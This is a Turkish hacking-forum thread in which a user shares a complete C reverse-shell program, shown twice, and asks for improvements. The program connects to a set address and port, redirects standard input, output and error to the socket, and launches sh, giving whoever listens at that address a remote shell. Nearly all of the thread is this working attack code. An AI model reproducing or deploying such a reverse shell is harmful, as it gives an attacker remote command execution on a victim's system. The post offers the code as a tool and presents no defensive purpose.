C programing (reverse Shell)

Konu Özeti

C diliyle yazılmış bir ters kabuk (reverse shell) örneği paylaşılıyor. Kod, 4444 numaralı port üzerinden 127.0.0.1 adresine bağlanmak için bir soket oluşturuyor ve bağlantı kurulduktan sonra komut çalıştırmaya yönelik bir yapı kuruyor. Geliştirilmesi gereken noktalar için geri bildirim isteniyor.

1000090375.png

Merhaba değerli dostlarım C dili ile yapmış olduğum bir Shell kodunu sizlerle paylaşmaktan mutluluk duyuyorum.

WARNİNG !!! : Kodda geliştirilmesi gereken yerler veya eksikler bulursanız yorumlar kısmında açık bir dille belirtiniz.



C:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>

int main(void) {
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    if (sockt < 0) {
        perror("Socket olusturulamadi");
        exit(EXIT_FAILURE);
    }

    memset(&revsockaddr, 0, sizeof(revsockaddr));
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    
    if (inet_pton(AF_INET, "127.0.0.1", &revsockaddr.sin_addr) <= 0) {
        fprintf(stderr, "Gecersiz IP adresi veya donusturme hatasi\n");
        close(sockt);
        exit(EXIT_FAILURE);
    }

    if (connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr)) < 0) {
        perror("Baglanti basarisiz");
        close(sockt);
        exit(EXIT_FAILURE);
    }

    if (dup2(sockt, STDIN_FILENO) < 0 ||
        dup2(sockt, STDOUT_FILENO) < 0 ||
        dup2(sockt, STDERR_FILENO) < 0) {
        perror("dup2 yonlendirme basarisiz");
        close(sockt);
        exit(EXIT_FAILURE);
    }

    char *const argv[] = {"sh", NULL};
    execvp("sh", argv);

    perror("execvp basarisiz");
    close(sockt);
    exit(EXIT_FAILURE);
}

🔒 Bu içeriği görmek için giriş yapın

 
View attachment 47158

Merhaba değerli dostlarım C dili ile yapmış olduğum bir Shell kodunu sizlerle paylaşmaktan mutluluk duyuyorum.

WARNİNG !!! : Kodda geliştirilmesi gereken yerler veya eksikler bulursanız yorumlar kısmında açık bir dille belirtiniz.



C:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>

int main(void) {
    int port = 4444;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    if (sockt < 0) {
        perror("Socket olusturulamadi");
        exit(EXIT_FAILURE);
    }

    memset(&revsockaddr, 0, sizeof(revsockaddr));
    revsockaddr.sin_family = AF_INET;      
    revsockaddr.sin_port = htons(port);
   
    if (inet_pton(AF_INET, "127.0.0.1", &revsockaddr.sin_addr) <= 0) {
        fprintf(stderr, "Gecersiz IP adresi veya donusturme hatasi\n");
        close(sockt);
        exit(EXIT_FAILURE);
    }

    if (connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr)) < 0) {
        perror("Baglanti basarisiz");
        close(sockt);
        exit(EXIT_FAILURE);
    }

    if (dup2(sockt, STDIN_FILENO) < 0 ||
        dup2(sockt, STDOUT_FILENO) < 0 ||
        dup2(sockt, STDERR_FILENO) < 0) {
        perror("dup2 yonlendirme basarisiz");
        close(sockt);
        exit(EXIT_FAILURE);
    }

    char *const argv[] = {"sh", NULL};
    execvp("sh", argv);

    perror("execvp basarisiz");
    close(sockt);
    exit(EXIT_FAILURE);
}
eline sağlık

🔒 Bu içeriği görmek için giriş yapın

 
Yanıt yazmak için giriş yapmalısınız
Forum özelliklerini kullanmak ve Level 2 üyelik satın almak için hesabınıza giriş yapın.
136,323Threads
3,304,173Messages
328,132Members
OyonLatest member
Top Bottom